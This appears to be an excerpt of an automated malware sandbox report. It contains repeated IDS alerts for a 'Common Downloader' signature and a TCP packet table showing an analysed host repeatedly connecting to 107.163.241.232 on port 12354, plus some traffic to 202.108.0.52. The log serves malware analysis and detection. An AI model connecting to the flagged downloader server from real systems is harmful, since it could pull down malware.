2024-12-11T16:26:19.223527+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56252	107.163.241.232	12354	TCP
2024-12-11T16:26:19.345466+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56358	107.163.241.232	12354	TCP
2024-12-11T16:26:21.010412+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57170	107.163.241.232	12354	TCP
2024-12-11T16:26:21.010454+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57220	107.163.241.232	12354	TCP
2024-12-11T16:26:23.238351+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	58813	107.163.241.232	12354	TCP
2024-12-11T16:26:23.362542+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	58979	107.163.241.232	12354	TCP
2024-12-11T16:26:25.038176+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60620	107.163.241.232	12354	TCP
2024-12-11T16:26:25.038237+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60535	107.163.241.232	12354	TCP
2024-12-11T16:26:27.268715+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62221	107.163.241.232	12354	TCP
2024-12-11T16:26:27.395525+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62240	107.163.241.232	12354	TCP
2024-12-11T16:26:29.071484+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64295	107.163.241.232	12354	TCP
2024-12-11T16:26:29.071661+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64094	107.163.241.232	12354	TCP
2024-12-11T16:26:31.570223+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49297	107.163.241.232	12354	TCP
2024-12-11T16:26:31.596487+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49302	107.163.241.232	12354	TCP
2024-12-11T16:26:33.265013+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51043	107.163.241.232	12354	TCP
2024-12-11T16:26:33.265050+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51032	107.163.241.232	12354	TCP
2024-12-11T16:26:35.519152+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51600	107.163.241.232	12354	TCP
2024-12-11T16:26:35.783109+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51644	107.163.241.232	12354	TCP
2024-12-11T16:26:37.467031+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52742	107.163.241.232	12354	TCP
2024-12-11T16:26:37.467250+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52531	107.163.241.232	12354	TCP
2024-12-11T16:26:39.736435+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54225	107.163.241.232	12354	TCP
2024-12-11T16:26:39.814944+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54301	107.163.241.232	12354	TCP
2024-12-11T16:26:41.479625+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56134	107.163.241.232	12354	TCP
2024-12-11T16:26:41.479643+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56227	107.163.241.232	12354	TCP
2024-12-11T16:26:43.723685+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57709	107.163.241.232	12354	TCP
2024-12-11T16:26:43.830584+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57840	107.163.241.232	12354	TCP
2024-12-11T16:26:45.494164+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59956	107.163.241.232	12354	TCP
2024-12-11T16:26:45.494181+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59963	107.163.241.232	12354	TCP
2024-12-11T16:26:47.737377+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60164	107.163.241.232	12354	TCP
2024-12-11T16:26:47.847465+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60300	107.163.241.232	12354	TCP
2024-12-11T16:26:49.510096+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	61535	107.163.241.232	12354	TCP
2024-12-11T16:26:49.510441+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	61430	107.163.241.232	12354	TCP
2024-12-11T16:26:51.739438+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	63248	107.163.241.232	12354	TCP
2024-12-11T16:26:51.862153+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	63325	107.163.241.232	12354	TCP
2024-12-11T16:26:53.525972+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65122	107.163.241.232	12354	TCP
2024-12-11T16:26:53.526041+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65178	107.163.241.232	12354	TCP
2024-12-11T16:26:55.752810+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50596	107.163.241.232	12354	TCP
2024-12-11T16:26:55.877516+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50672	107.163.241.232	12354	TCP
2024-12-11T16:26:57.529130+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52411	107.163.241.232	12354	TCP
2024-12-11T16:26:57.529166+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52408	107.163.241.232	12354	TCP
2024-12-11T16:26:59.768104+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53875	107.163.241.232	12354	TCP
2024-12-11T16:26:59.878391+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53961	107.163.241.232	12354	TCP
2024-12-11T16:27:01.656626+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54958	107.163.241.232	12354	TCP
2024-12-11T16:27:01.656887+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54837	107.163.241.232	12354	TCP
2024-12-11T16:27:04.130034+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	55711	107.163.241.232	12354	TCP
2024-12-11T16:27:04.418954+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	55703	107.163.241.232	12354	TCP
2024-12-11T16:27:05.778964+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	58094	107.163.241.232	12354	TCP
2024-12-11T16:27:05.778978+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57677	107.163.241.232	12354	TCP
2024-12-11T16:27:08.096373+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59142	107.163.241.232	12354	TCP
2024-12-11T16:27:08.236768+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59184	107.163.241.232	12354	TCP
2024-12-11T16:27:09.807879+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60899	107.163.241.232	12354	TCP
2024-12-11T16:27:09.808007+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60763	107.163.241.232	12354	TCP
2024-12-11T16:27:12.081770+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62496	107.163.241.232	12354	TCP
2024-12-11T16:27:12.205382+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62586	107.163.241.232	12354	TCP
2024-12-11T16:27:13.975116+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64312	107.163.241.232	12354	TCP
2024-12-11T16:27:13.975122+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64241	107.163.241.232	12354	TCP
2024-12-11T16:27:16.222658+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65063	107.163.241.232	12354	TCP
2024-12-11T16:27:16.377914+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65171	107.163.241.232	12354	TCP
2024-12-11T16:27:18.155237+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49941	107.163.241.232	12354	TCP
2024-12-11T16:27:18.155581+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49778	107.163.241.232	12354	TCP
2024-12-11T16:27:20.403528+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50909	107.163.241.232	12354	TCP
2024-12-11T16:27:20.594775+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50940	107.163.241.232	12354	TCP
2024-12-11T16:27:22.361344+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53079	107.163.241.232	12354	TCP
2024-12-11T16:27:22.361485+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52883	107.163.241.232	12354	TCP
2024-12-11T16:27:24.722318+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54632	107.163.241.232	12354	TCP
2024-12-11T16:27:24.737087+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54647	107.163.241.232	12354	TCP
2024-12-11T16:27:26.488187+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56578	107.163.241.232	12354	TCP
2024-12-11T16:27:26.488330+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56499	107.163.241.232	12354	TCP
2024-12-11T16:27:28.906358+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57853	107.163.241.232	12354	TCP
2024-12-11T16:27:28.910306+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57918	107.163.241.232	12354	TCP
2024-12-11T16:27:30.644850+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59080	107.163.241.232	12354	TCP
2024-12-11T16:27:30.644850+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59082	107.163.241.232	12354	TCP
2024-12-11T16:27:32.880265+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60079	107.163.241.232	12354	TCP
2024-12-11T16:27:33.003061+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60227	107.163.241.232	12354	TCP
2024-12-11T16:27:34.878143+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	61240	107.163.241.232	12354	TCP
2024-12-11T16:27:34.882344+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	61332	107.163.241.232	12354	TCP
2024-12-11T16:27:37.224816+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62610	107.163.241.232	12354	TCP
2024-12-11T16:27:37.537221+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62613	107.163.241.232	12354	TCP
2024-12-11T16:27:39.245797+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64627	107.163.241.232	12354	TCP
2024-12-11T16:27:39.245831+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64462	107.163.241.232	12354	TCP
2024-12-11T16:27:41.488676+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49506	107.163.241.232	12354	TCP
2024-12-11T16:27:41.628346+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49593	107.163.241.232	12354	TCP
2024-12-11T16:27:43.288745+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50767	107.163.241.232	12354	TCP
2024-12-11T16:27:43.288794+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50611	107.163.241.232	12354	TCP
2024-12-11T16:27:45.518926+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51437	107.163.241.232	12354	TCP
2024-12-11T16:27:45.660031+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51444	107.163.241.232	12354	TCP
2024-12-11T16:27:47.275479+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53345	107.163.241.232	12354	TCP
2024-12-11T16:27:47.275577+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53248	107.163.241.232	12354	TCP
2024-12-11T16:27:49.519461+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54800	107.163.241.232	12354	TCP
2024-12-11T16:27:49.628592+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	54887	107.163.241.232	12354	TCP
2024-12-11T16:27:51.290912+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56382	107.163.241.232	12354	TCP
2024-12-11T16:27:51.292458+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56402	107.163.241.232	12354	TCP
2024-12-11T16:27:53.517082+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57106	107.163.241.232	12354	TCP
2024-12-11T16:27:53.647532+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57159	107.163.241.232	12354	TCP
2024-12-11T16:27:55.307185+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	58391	107.163.241.232	12354	TCP
2024-12-11T16:27:55.307207+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	58418	107.163.241.232	12354	TCP
2024-12-11T16:27:57.532695+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59860	107.163.241.232	12354	TCP
2024-12-11T16:27:57.690495+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59960	107.163.241.232	12354	TCP
2024-12-11T16:27:59.472742+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62038	107.163.241.232	12354	TCP
2024-12-11T16:27:59.472770+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62150	107.163.241.232	12354	TCP
2024-12-11T16:28:01.758451+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	63631	107.163.241.232	12354	TCP
2024-12-11T16:28:01.862756+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	63702	107.163.241.232	12354	TCP
2024-12-11T16:28:03.565068+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64439	107.163.241.232	12354	TCP
2024-12-11T16:28:03.565096+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	64580	107.163.241.232	12354	TCP
2024-12-11T16:28:05.860338+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65394	107.163.241.232	12354	TCP
2024-12-11T16:28:05.928322+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65425	107.163.241.232	12354	TCP
2024-12-11T16:28:07.572292+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50784	107.163.241.232	12354	TCP
2024-12-11T16:28:07.572326+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	50786	107.163.241.232	12354	TCP
2024-12-11T16:28:09.815792+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51537	107.163.241.232	12354	TCP
2024-12-11T16:28:09.923821+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	51675	107.163.241.232	12354	TCP
2024-12-11T16:28:11.601739+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52693	107.163.241.232	12354	TCP
2024-12-11T16:28:11.601781+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	52558	107.163.241.232	12354	TCP
2024-12-11T16:28:13.849785+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53852	107.163.241.232	12354	TCP
2024-12-11T16:28:14.066138+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	53858	107.163.241.232	12354	TCP
2024-12-11T16:28:15.775512+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	55592	107.163.241.232	12354	TCP
2024-12-11T16:28:15.775674+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	55780	107.163.241.232	12354	TCP
2024-12-11T16:28:18.018821+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57024	107.163.241.232	12354	TCP
2024-12-11T16:28:18.127449+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	57172	107.163.241.232	12354	TCP
2024-12-11T16:28:19.790955+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	58942	107.163.241.232	12354	TCP
2024-12-11T16:28:19.790994+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	58949	107.163.241.232	12354	TCP
2024-12-11T16:28:22.019711+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	59852	107.163.241.232	12354	TCP
2024-12-11T16:28:22.145302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60003	107.163.241.232	12354	TCP
2024-12-11T16:28:23.802406+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60904	107.163.241.232	12354	TCP
2024-12-11T16:28:23.802453+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	60937	107.163.241.232	12354	TCP
2024-12-11T16:28:26.316611+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62256	107.163.241.232	12354	TCP
2024-12-11T16:28:26.324477+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	62272	107.163.241.232	12354	TCP
2024-12-11T16:28:27.816638+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65425	107.163.241.232	12354	TCP
2024-12-11T16:28:27.816774+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65168	107.163.241.232	12354	TCP
2024-12-11T16:28:30.066400+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65528	107.163.241.232	12354	TCP
2024-12-11T16:28:30.404748+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	65533	107.163.241.232	12354	TCP
2024-12-11T16:28:32.331816+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	49186	107.163.241.232	12354	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:24:33.915492058 CET	49753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:33.923907995 CET	49754	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:34.035410881 CET	12354	49753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:34.035533905 CET	49753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:34.035761118 CET	49753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:34.045077085 CET	12354	49754	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:34.045171976 CET	49754	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:34.045511961 CET	49754	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:34.156280041 CET	12354	49753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:34.166610003 CET	12354	49754	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.157603025 CET	12354	49754	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.157686949 CET	12354	49753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.157877922 CET	49753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.157881975 CET	49754	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.160377979 CET	49754	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.160516977 CET	49753	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.276437044 CET	49771	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.276531935 CET	49772	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.280438900 CET	12354	49754	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.280453920 CET	12354	49753	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.399060011 CET	12354	49771	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.399080992 CET	12354	49772	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.399275064 CET	49771	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.399293900 CET	49772	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.399374008 CET	49771	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.399468899 CET	49772	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:36.520143986 CET	12354	49771	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:36.520158052 CET	12354	49772	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:37.683845043 CET	49780	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:37.803390026 CET	80	49780	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:37.803497076 CET	49780	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:37.807125092 CET	49780	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:37.926666021 CET	80	49780	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:38.514262915 CET	12354	49771	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:38.514508009 CET	49771	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.514508009 CET	49771	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.515511990 CET	49788	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.518539906 CET	12354	49772	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:38.518620968 CET	49772	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.519181013 CET	49772	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.634128094 CET	12354	49771	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:38.635186911 CET	12354	49788	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:38.635307074 CET	49788	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.638669968 CET	12354	49772	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:38.640598059 CET	49788	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.644459963 CET	49790	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.759958982 CET	12354	49788	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:38.763792992 CET	12354	49790	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:38.763879061 CET	49790	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.764035940 CET	49790	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:38.883805990 CET	12354	49790	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:39.390270948 CET	80	49780	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:39.390346050 CET	49780	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:39.396783113 CET	49798	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:39.396823883 CET	443	49798	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:39.396892071 CET	49798	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:39.407702923 CET	49798	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:39.407727957 CET	443	49798	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:40.292309999 CET	49788	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.292392969 CET	49798	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:40.292406082 CET	49790	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.293059111 CET	49805	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.405025959 CET	49807	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.407262087 CET	49780	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:40.407411098 CET	49808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:40.412462950 CET	12354	49805	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:40.412590981 CET	49805	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.412738085 CET	49805	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.524683952 CET	12354	49807	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:40.524873972 CET	49807	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.525108099 CET	49807	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:40.526766062 CET	80	49808	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:40.526854992 CET	49808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:40.526997089 CET	80	49780	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:40.527060032 CET	49780	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:40.528368950 CET	49808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:40.532026052 CET	12354	49805	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:40.644505024 CET	12354	49807	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:40.647741079 CET	80	49808	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:42.096566916 CET	80	49808	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:42.096695900 CET	49808	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:42.532846928 CET	12354	49805	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:42.536858082 CET	49805	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.600748062 CET	49805	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.601368904 CET	49823	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.601927996 CET	49824	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:42.601974964 CET	443	49824	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:42.602118015 CET	49824	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:42.643409967 CET	12354	49807	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:42.643495083 CET	49807	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.658224106 CET	49824	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:24:42.658267021 CET	443	49824	202.108.0.52	192.168.2.4
Dec 11, 2024 16:24:42.658355951 CET	49807	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.720750093 CET	12354	49805	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:42.721071959 CET	12354	49823	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:42.721160889 CET	49823	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.721698999 CET	49823	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.724355936 CET	49826	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.778224945 CET	12354	49807	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:42.841867924 CET	12354	49823	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:42.844012976 CET	12354	49826	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:42.844136953 CET	49826	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.859102011 CET	49826	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:24:42.978528976 CET	12354	49826	107.163.241.232	192.168.2.4
Dec 11, 2024 16:24:44.306708097 CET	49823	12354	192.168.2.4	107.163.241.232
